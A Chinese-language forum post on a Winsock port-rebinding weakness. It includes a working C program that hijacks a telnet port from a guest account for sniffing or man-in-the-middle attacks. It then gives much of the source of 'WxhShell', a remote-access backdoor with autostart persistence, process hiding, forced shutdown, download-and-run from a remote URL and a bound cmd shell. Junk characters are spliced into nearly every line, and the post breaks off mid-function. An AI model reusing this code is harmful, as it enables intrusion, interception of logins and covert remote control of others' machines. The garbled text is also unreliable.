在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C (L1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Eaf6rjD R4.$9_ui saddr.sin_family = AF_INET;
OlL
FuVR P:eY>~m<; saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(j@3=-%6 G (C
dx7v2Nh bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$b,o3eC dMK|l 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"g;^R/sfq 2MS1<VKZ@ 这意味着什么?意味着可以进行如下的攻击:
9tDo5
29 s.d }*H-o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W3Oj6R u,mC`gz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/GCI`hx>" Km7HB!=< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zy"wQPEE ;m`k#J? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
aKkL0D u(iEuF;7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+F=j1*'& %C^U?m` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Xxhzzm-B 00X~/'! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
];P$w.0 1$2'N~`#U
#include
7D PKKvQ #include
,Dd
)= #include
yAz`n[ #include
?:73O`sX: DWORD WINAPI ClientThread(LPVOID lpParam);
fTQRn int main()
*{5p/}p {
i P gewjx WORD wVersionRequested;
yxP(| DWORD ret;
\0?^%CD+@ WSADATA wsaData;
|)`<D BOOL val;
hfw$820y[ SOCKADDR_IN saddr;
\Jq$!foYx SOCKADDR_IN scaddr;
5$9g4 int err;
ye!}hm=w SOCKET s;
d~n|F|`: SOCKET sc;
WsO'4~X9 int caddsize;
Qk 2^p^ T6 HANDLE mt;
+ExXhT DWORD tid;
*M6'
GT1%c wVersionRequested = MAKEWORD( 2, 2 );
EX zA(igS err = WSAStartup( wVersionRequested, &wsaData );
,kS3Ioj if ( err != 0 ) {
g$$i WC!S< printf("error!WSAStartup failed!\n");
M#ED49Dh> return -1;
6vy(@z }
=pSuyM' saddr.sin_family = AF_INET;
,rkY1w- - "`5r6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
H&Jp,<\x 2
u:w saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
aly1=j saddr.sin_port = htons(23);
.H;[s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1o5n1
A {
R{={7.As+ printf("error!socket failed!\n");
%N``EnF2 return -1;
/BeA-\B }
?5@!r>i=< val = TRUE;
36MqEUjyB //SO_REUSEADDR选项就是可以实现端口重绑定的
bn$a7\X- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
ffDh0mDN {
!Q(x A,p printf("error!setsockopt failed!\n");
j8gw]V/B: return -1;
kC:GEY<N:Q }
7tbM~+<0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"%^T~Z(_j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,n)f=q*% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?VUW.- 2L?jp:$;X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-36pkC
6
\ {
LEu_RU? ret=GetLastError();
a@+n printf("error!bind failed!\n");
W`auQO return -1;
^&^~LKl~ }
abAX)R' listen(s,2);
H$G`e'`OZ while(1)
Q)vf>LwC2S {
)o4B^kq caddsize = sizeof(scaddr);
P[Q3z$I} //接受连接请求
/O@TqH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
_p<]jt if(sc!=INVALID_SOCKET)
V!^5#A< {
:<Z>?x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%4 if(mt==NULL)
{|:ro!& {
9:[L
WT& printf("Thread Creat Failed!\n");
&:Mk^DH5 break;
[22>)1<( }
`Ckx~'1M: }
e$
pXnMx7 CloseHandle(mt);
y+jOk6)W75 }
_'OXrT#Q closesocket(s);
SLGo/I* WSACleanup();
mEh([ZnY return 0;
3y9R1/! }
I;u1mywd DWORD WINAPI ClientThread(LPVOID lpParam)
.A6i?iROe {
fm u;Pb]r SOCKET ss = (SOCKET)lpParam;
3fdx&}v/ SOCKET sc;
-(ev68'}W unsigned char buf[4096];
J]m[0g7O_ SOCKADDR_IN saddr;
@cc4]>4 long num;
c}$C=s5 h} DWORD val;
l:'\3-2a DWORD ret;
w6cW7}ZD, //如果是隐藏端口应用的话,可以在此处加一些判断
9?xD"Z
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6!& DH#M saddr.sin_family = AF_INET;
DERhmJ;>H saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
6$.I>8n saddr.sin_port = htons(23);
u[Ij4h. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)c; YR}tC {
PjxZ3O printf("error!socket failed!\n");
Pjvzefp return -1;
!=/wpsH }
;kE|Vx val = 100;
JI5%fU%O#n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k/lU]~PE {
39!$x[ ret = GetLastError();
[p:mja.6y return -1;
!Au@\/} }
mBtXa|PJ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]i)g!J8f- {
sFrerv&0 ret = GetLastError();
%k+G-oT5 return -1;
W08rGY }
RkMs!M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9^4BqAWYrV {
;]c:0W' printf("error!socket connect failed!\n");
5w^6bw){ closesocket(sc);
iL48 closesocket(ss);
d~hN`ff return -1;
Vs"1:gi& }
\H&8.<HJ while(1)
awC:{5R8v {
3<"!h1x5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
1+Z@4;fk //如果是嗅探内容的话,可以再此处进行内容分析和记录
cOa){&u //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x 8_nLZ num = recv(ss,buf,4096,0);
*ydh.R<hb if(num>0)
C)z?-f send(sc,buf,num,0);
J^y}3ON else if(num==0)
-u nK; break;
U)sw
Iis E num = recv(sc,buf,4096,0);
%@,!
( if(num>0)
~'.SmXZs send(ss,buf,num,0);
cxig <W else if(num==0)
uH.1'bR?a break;
j=U^+jAn }
k
x?m "a% closesocket(ss);
fvNj5Vq: closesocket(sc);
0nu&JQ return 0 ;
b;2[E/JKB }
+qiI;C_P\ #-<n@qNg[ FPC^-mD ==========================================================
4))5l9kc. *U}cj A:ZN 下边附上一个代码,,WXhSHELL
W|I<hY\X :G8:b. ==========================================================
]IM/R@ E=&":I6O #include "stdafx.h"
]*&`J4i VLP'3 qX #include <stdio.h>
Sdr,q9+__ #include <string.h>
PJn| #include <windows.h>
eelkK,4 #include <winsock2.h>
v1aE[Q #include <winsvc.h>
z[?&bF<| #include <urlmon.h>
o+%($p tVr^1Y #pragma comment (lib, "Ws2_32.lib")
\jCN ]A< #pragma comment (lib, "urlmon.lib")
9\S,$A{{* ,T;T%/
S #define MAX_USER 100 // 最大客户端连接数
d&owS+B{48 #define BUF_SOCK 200 // sock buffer
/V"6Q'D #define KEY_BUFF 255 // 输入 buffer
$a.,;: %s),4 #define REBOOT 0 // 重启
z 0-[ RGg #define SHUTDOWN 1 // 关机
!;U;5 e=0 87ptab@ #define DEF_PORT 5000 // 监听端口
)TtYm3, .:(T}\]R #define REG_LEN 16 // 注册表键长度
KfkU_0R+~v #define SVC_LEN 80 // NT服务名长度
c*DBa]u2 u$Ty|NBjn // 从dll定义API
HU47S typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
k8S`44vj typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Dwa.ZY}- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RemjiCE0' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
"*HVL -A(]U"@n // wxhshell配置信息
s)-O{5;U struct WSCFG {
l\"wdS} int ws_port; // 监听端口
qbq.r&F& char ws_passstr[REG_LEN]; // 口令
"x4}FQ int ws_autoins; // 安装标记, 1=yes 0=no
T%TfkQ__d char ws_regname[REG_LEN]; // 注册表键名
>^bSjE char ws_svcname[REG_LEN]; // 服务名
-Crm#Ib~ char ws_svcdisp[SVC_LEN]; // 服务显示名
`s|^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
~(P\'H&(h char ws_passmsg[SVC_LEN]; // 密码输入提示信息
\]Y=*+{ int ws_downexe; // 下载执行标记, 1=yes 0=no
0o]T6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,: Z7P@
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m;oCi}fL |rL#HG };
O3En+m~3n) t+tD // default Wxhshell configuration
+&*Ybbhb struct WSCFG wscfg={DEF_PORT,
yP*oRV%uX "xuhuanlingzhe",
HvJ-P# 1,
B{2WvPX~q "Wxhshell",
eEZZ0NNe; "Wxhshell",
3(
o~|% "WxhShell Service",
E!
mxa "Wrsky Windows CmdShell Service",
=`/GBT$ "Please Input Your Password: ",
^CfWLL&
c 1,
#'fQx`LV "
http://www.wrsky.com/wxhshell.exe",
L
4Sa,ZL "Wxhshell.exe"
@E%fAC };
w@i;<LY. W;^6=(&xn // 消息定义模块
[t+qYe8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
>)8<d3m char *msg_ws_prompt="\n\r? for help\n\r#>";
=
6.i.(L_S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:} N;OS _ char *msg_ws_ext="\n\rExit.";
}:1*@7eR char *msg_ws_end="\n\rQuit.";
6SP!J*F char *msg_ws_boot="\n\rReboot...";
LjY@b char *msg_ws_poff="\n\rShutdown...";
<uXQT$@? char *msg_ws_down="\n\rSave to ";
@s8wYcW 5fuYva
>Ik char *msg_ws_err="\n\rErr!";
V1
{'d[E* char *msg_ws_ok="\n\rOK!";
P:k!dRb9{ j*L-sU char ExeFile[MAX_PATH];
ueu=$.^;g int nUser = 0;
~^v*f HANDLE handles[MAX_USER];
/ 0y5/ int OsIsNt;
a'|/=$
ofy)}/i SERVICE_STATUS serviceStatus;
wY{!gQ SERVICE_STATUS_HANDLE hServiceStatusHandle;
6>F1!Q miEf<<L#z // 函数声明
;wF)!d int Install(void);
b.mWB`59 int Uninstall(void);
dhmrh5Uf int DownloadFile(char *sURL, SOCKET wsh);
\(`,z}Ht _ int Boot(int flag);
mt]50}eK void HideProc(void);
?(E?oJ)( int GetOsVer(void);
jU!ibs}R3 int Wxhshell(SOCKET wsl);
t6! B void TalkWithClient(void *cs);
tvR|!N } int CmdShell(SOCKET sock);
rPkPQn: int StartFromService(void);
^.u
J]k0 int StartWxhshell(LPSTR lpCmdLine);
x%OJ3Qjj=
)vy_m_f& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
22gh,e2o VOID WINAPI NTServiceHandler( DWORD fdwControl );
6bd{3@ N7#,x9+E // 数据结构和表定义
yq,%<%+ SERVICE_TABLE_ENTRY DispatchTable[] =
U{ZKxE {
}ZkGH}K_} {wscfg.ws_svcname, NTServiceMain},
7f\/cS^ {NULL, NULL}
ucX!6)Op };
~NZ}@J{00_ 7~2V5@{< // 自我安装
2O
"
~k int Install(void)
n~'cKy)m {
$x;(C[ char svExeFile[MAX_PATH];
R~N'5#.*M HKEY key;
4$Ud4< strcpy(svExeFile,ExeFile);
2,e>gP\] !DZ4C. // 如果是win9x系统,修改注册表设为自启动
-MuKeCgi if(!OsIsNt) {
~5
e
1& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q|S,^0cU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3Nk
) RegCloseKey(key);
?7Skk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]6;oS-4gu? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
](SqLTB+? RegCloseKey(key);
]tc
Cr; return 0;
.y2np }
4]m?8j)
6b }
/A>1TPb09" }
sp&g else {
XE?,)8 ;-d2~1$ // 如果是NT以上系统,安装为系统服务
]X<L~s_* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v\Edf;( if (schSCManager!=0)
P;[>TCs ]8 {
*FC26_pH SC_HANDLE schService = CreateService
EQ2HQz] (
v0,&wdi schSCManager,
e|Mw9DIW wscfg.ws_svcname,
$*vj7V_ wscfg.ws_svcdisp,
*vP:+] SERVICE_ALL_ACCESS,
0&2eiMKG?n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q)ZbnR2Z8 SERVICE_AUTO_START,
+YnQOh%v0s SERVICE_ERROR_NORMAL,
J%lEyU svExeFile,
C:{&cIFrPe NULL,
N7}yU~j^ NULL,
'jjJ[16"d NULL,
1j\wvPLr NULL,
=801nZJ NULL
HRW}Yl );
@2R+?2 j if (schService!=0)
3?-2~s3gp {
=(Wl'iG CloseServiceHandle(schService);
_{48s8V CloseServiceHandle(schSCManager);
8e}8@[h strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
</33>Fu) strcat(svExeFile,wscfg.ws_svcname);
( Y)a`[B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
n_1,-(t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
X:d[eAu0 RegCloseKey(key);
P(Z\y^S return 0;
Ops""#Zi }
@W\H%VR }
, \R,O CloseServiceHandle(schSCManager);
.q_SA-!w> }
HFTDea +# }
uoe>T: T[]kun return 1;
m_,j)A% }
9<6Hs3|.! *kKdL // 自我卸载
6I~{~YvB" int Uninstall(void)
H <ugc {
e3x;(@j HKEY key;
hsHtLH+@ n8 e4`-cY if(!OsIsNt) {
.9KW|(uW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Nj|~3
*KO RegDeleteValue(key,wscfg.ws_regname);
">rt *?^ RegCloseKey(key);
Cswa5l`af if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@ )m9#F RegDeleteValue(key,wscfg.ws_regname);
jS'hs>Ot RegCloseKey(key);
E K#ib return 0;
eVB.g@%T }
p="K4E8~H }
{uji7TB }
MD=VR(P?eq else {
kG|pM54:^ oLz9mqp2% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8!VFb+ if (schSCManager!=0)
fqS
cf}s {
wVY;)1? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
"U%jG`q if (schService!=0)
O!.mc=Gx7 {
3:G94cp5 if(DeleteService(schService)!=0) {
Oky9GC.a CloseServiceHandle(schService);
0fU^ CloseServiceHandle(schSCManager);
=[G) return 0;
NzuH&o][ }
:h)A/k_ CloseServiceHandle(schService);
}Q%fY(bp }
8I|2yvhP CloseServiceHandle(schSCManager);
|q*s)8 }
Rhil]|a/ }
NJTC+`Hm DsH`I%w{ return 1;
`-[+(+[" }
&yQM8J~ I0]"o#LjT // 从指定url下载文件
x:WxEw>R int DownloadFile(char *sURL, SOCKET wsh)
+jpC%o}C {
,Jh('r7 HRESULT hr;
HRZ3}8Qj char seps[]= "/";
b6~MRfx`7 char *token;
{glRXR char *file;
RXU#.=xvy char myURL[MAX_PATH];
)./.rtP|4 char myFILE[MAX_PATH];
A1nEp0%Y M/^kita strcpy(myURL,sURL);
%Lwd1'C% token=strtok(myURL,seps);
3O!TVSo while(token!=NULL)
60St99@O {
Ro oem dCM file=token;
1F_ 1bAh$ token=strtok(NULL,seps);
zPT!Fa` }
*^5..0du %*wOJx GetCurrentDirectory(MAX_PATH,myFILE);
hr] :bR strcat(myFILE, "\\");
hV4\#K[ strcat(myFILE, file);
o4g<[X) send(wsh,myFILE,strlen(myFILE),0);
Uv"GG:
K_ send(wsh,"...",3,0);
H<6/i@ly hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
U<lCK!85[ if(hr==S_OK)
m+/-SG return 0;
Ood'kAH1B else
]kd )j return 1;
l
TJqWSV=f %<Q?|} }
* 5Y.9g3)Q KU}HVM{ // 系统电源模块
bs_"Nn? int Boot(int flag)
dQ4K^u {
_F1{<" 4 HANDLE hToken;
}uE8o"q
TOKEN_PRIVILEGES tkp;
C^x+'. ^N g)Byd\DS if(OsIsNt) {
fC4D# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@|^2 +K/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%Pb 5PIk4 tkp.PrivilegeCount = 1;
*R6n+d tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#j{!&4M AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L('G1J} if(flag==REBOOT) {
d#9"_{P if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$N#f)8v return 0;
hp E? }
B R-(@ else {
)2P4EEs[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
O}!L;? return 0;
=*YK6 }
s2@}01QPo }
_~`\TS8 else {
{&Fh$H! if(flag==REBOOT) {
wZECG-jr/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5M{DJ/q return 0;
C||A[JOS }
G'<J8;B*
t else {
Q\~4J1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'sL>U$( return 0;
a9q68 }
{t$
vsR }
Odr@9MJ Upr:sB return 1;
nuB@Fkr }
F`ifHO d/G P.d // win9x进程隐藏模块
J(\"\Z void HideProc(void)
"b!QE2bRO {
_ID2yJ 4><b3r;T' HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)CzWq}: if ( hKernel != NULL )
{37DrSOa {
S< <xlW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8IH&=3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
+SmcZ^\OZ FreeLibrary(hKernel);
byv(:xk|'e }
HlB'yOHv! @$~ BU;kR return;
FG~p_[K }
6$>m s6g% daaEN( // 获取操作系统版本
QY2!.a^q int GetOsVer(void)
sa`7_KB {
$.}fL;BzVz OSVERSIONINFO winfo;
ih?_ fW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+0=u] GetVersionEx(&winfo);
!b*lL#s,Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
S zOB{ return 1;
zVs_|x=" else
)@3ce' return 0;
QJo) }
Xu$xO( n]x4twZ // 客户端句柄模块
JBa=R^k int Wxhshell(SOCKET wsl)
YizJT0$ {
9o P8| <+ SOCKET wsh;
J?-"]s`J struct sockaddr_in client;
&{* [7Ad DWORD myID;
}Xs=x6Mj .b vB8VOrW while(nUser<MAX_USER)
qyc:;3?wm {
GD|uU int nSize=sizeof(client);
)vsiX}3 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q/iaxY# if(wsh==INVALID_SOCKET) return 1;
mqk~Pno|< b^PYA_k-Xn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{t[j>_MYw if(handles[nUser]==0)
7I`e5\ u closesocket(wsh);
]}F_nc2L else
m4ovppC nUser++;
'oHtg
@ }
Mno4z/4{A WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
xrO:Y!C? -<}_K,Ky` return 0;
FgRlxz }
#:z.Br` DI9x]CR // 关闭 socket
p0uQ>[NV0 void CloseIt(SOCKET wsh)
0<Px2/ {
E$f.&<>T closesocket(wsh);
%\[LM$f{z nUser--;
gOO\` # ExitThread(0);
.0#?u1gXsX }
S8<O$^L^ R{@WlkG} // 客户端请求句柄
hti)<#f void TalkWithClient(void *cs)
^Ebaq`{V\' {
x!MYIaZ7 sxl29y^* SOCKET wsh=(SOCKET)cs;
`#2}[D char pwd[SVC_LEN];
F[115/ char cmd[KEY_BUFF];
;hmy7M1% char chr[1];
O} QTg int i,j;
+=Crfvt +WK!}xZR while (nUser < MAX_USER) {
NXDdU^w7B ve=oH;zf if(wscfg.ws_passstr) {
Gs.id^Sf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Kw&J<H //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
LwkZ (Tt
//ZeroMemory(pwd,KEY_BUFF);
I8`@Srw8 i=0;
Fc7mAV= while(i<SVC_LEN) {
hI;tB6 {?l#*XH; // 设置超时
r3/H_Z fd_set FdRead;
V;~W,o ! struct timeval TimeOut;
hFZ7{pj FD_ZERO(&FdRead);
UbJ_'>hK 6 FD_SET(wsh,&FdRead);
}!(cm;XA" TimeOut.tv_sec=8;
0~R0)Q, TimeOut.tv_usec=0;
}Hrm/Ni int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
WWc{]R^D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
tH2y:o72 RXb+"/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%IW=[D6Tg pwd
=chr[0]; d"Hh9O}6
if(chr[0]==0xd || chr[0]==0xa) { 5sEq`P}5
pwd=0; %gJf&A
break; 8"LvkN/v^
} :u`
i++; $dgY#ST%
} R.!'&<Svq
y!."FoQ
// 如果是非法用户,关闭 socket %rzC+=*;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c@~\ FUr
} 7z)Hq./3@
7P?z{x':T
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0tC+?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g,7`emOX
?^Q!=W<7
while(1) { c#
U!Q7J
^|Of
ZeroMemory(cmd,KEY_BUFF); votv rZ=
.4^Ep\\
// 自动支持客户端 telnet标准 ^hq`dr|R=
j=0; u8v;O}#
while(j<KEY_BUFF) { 4W*52*'F,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TPt<(-}W
cmd[j]=chr[0]; fl!8 \4
if(chr[0]==0xa || chr[0]==0xd) { g[0b>r7
cmd[j]=0; s|dcO
break;
0[7\p\Q
} B5~S&HQ?B6
j++; 0ym>Hbax)
} z^T/kK3I
:&HrOdz
// 下载文件 "Up3W%]SB
if(strstr(cmd,"http://")) { /z>G=kA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZC@ 33Q(
if(DownloadFile(cmd,wsh)) y-)|u:~h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !0CC &8C`
else HbX>::J8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b\Y<1EV^[
} ZO5_n
else { b<P9@h~:
Q.>@w<[!L
switch(cmd[0]) { D/'kYoAEO
s%2 w&Us*
// 帮助 IKMkpX!]
case '?': { Fc M
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IC{\iwO/~c
break; PB_+:S^8
} B<u6Z!Pp2
// 安装 "G].hKgbk*
case 'i': { )pJ}
$[6
if(Install()) KaNi'=nW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PxNp'PZr9
else O; 7`*}m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?{NP3
break; c3W9"
} y4PR&^l?g
// 卸载 >\y|}|?
case 'r': { +3dWnBg?
if(Uninstall()) vxhs1vh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7xTgG!>v
else ?n)d: )Ud"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~1]4 J(+
break; Hm!ffqO_
} :hr% 6K7
// 显示 wxhshell 所在路径 l=ehoyER
case 'p': { ~[l6;bn
char svExeFile[MAX_PATH]; fb3(9
strcpy(svExeFile,"\n\r"); 18f!k
strcat(svExeFile,ExeFile); As
}:~Jy|
send(wsh,svExeFile,strlen(svExeFile),0); FNL[6.!PV
break; ?{[ISk)
} +!h~T5Ck
// 重启 {+%|nOWV
case 'b': { S
{oW
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B9^@d
if(Boot(REBOOT)) F6 ?4&h?n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <E/4/
ANN
else { 0tyoH3o/d
closesocket(wsh); z SDRZ!
ExitThread(0); ^aYlu0Wm
} kH/u]+_
break; W/DSj :
} ;rXkU9
// 关机 _<s[HGA`z
case 'd': { un([3r
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1BK!<}yI{
if(Boot(SHUTDOWN)) GOrDDp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tj$&89
else { oS6dcJHf
closesocket(wsh); UKX9C"-5v
ExitThread(0); Hvqvggfi
} A#;6~f
break; 5x856RQ'
} nwuH:6~"
// 获取shell eB%hP9=:x
case 's': { <LL+\kfTZO
CmdShell(wsh); Sk7l&B
closesocket(wsh); cq:<,Ke
ExitThread(0); zG-pqE6
break; fy9mS
} j3>0oe!
// 退出 KYa}k0tVAp
case 'x': { 7X
4/6]*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s8BfOl-
CloseIt(wsh); )45~YDS;t
break; cHo@F!{o=
} ?+Gc.lU
// 离开 1<|\df.
case 'q': { -KV)1kET
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ASGV3r(
closesocket(wsh); {zzc/!|
WSACleanup(); U}f"a!
exit(1); DBTeV-G9~R
break; OM,Dy&Y
} PL"u^G`
} JTGA\K
} oKyl2jg+,
(h{"/sR
// 提示信息 S
$j"'K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0\tV@ 6p2=
} *^[m?3"W
} @yV.Yx"p_
9;2{=,
return; hA=.${uIO
} WO;2=[#O;
@S?`!=M
// shell模块句柄 U$,-F**
int CmdShell(SOCKET sock) m[aBHA^g
{ VT ikLuH
STARTUPINFO si; ;]gj:6M
ZeroMemory(&si,sizeof(si)); +az=EF
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !AR@GuQPE
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vciO={M
PROCESS_INFORMATION ProcessInfo; #su R[K*S
char cmdline[]="cmd"; Z$*m=]2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,8.Fd|#L
return 0; 813t=A
} Rtywi}VV2
r0^ *|+
// 自身启动模式 @kstG3@
int StartFromService(void) r+%$0eB1^
{ C" SG':
typedef struct ~K$dQb])
{ TmviYP gb
DWORD ExitStatus; (V(8E%<c
DWORD PebBaseAddress; 3A&:
c/
DWORD AffinityMask; xg(*j[ff3
DWORD BasePriority; My6a.Kl
ULONG UniqueProcessId; .gQYN2#zb
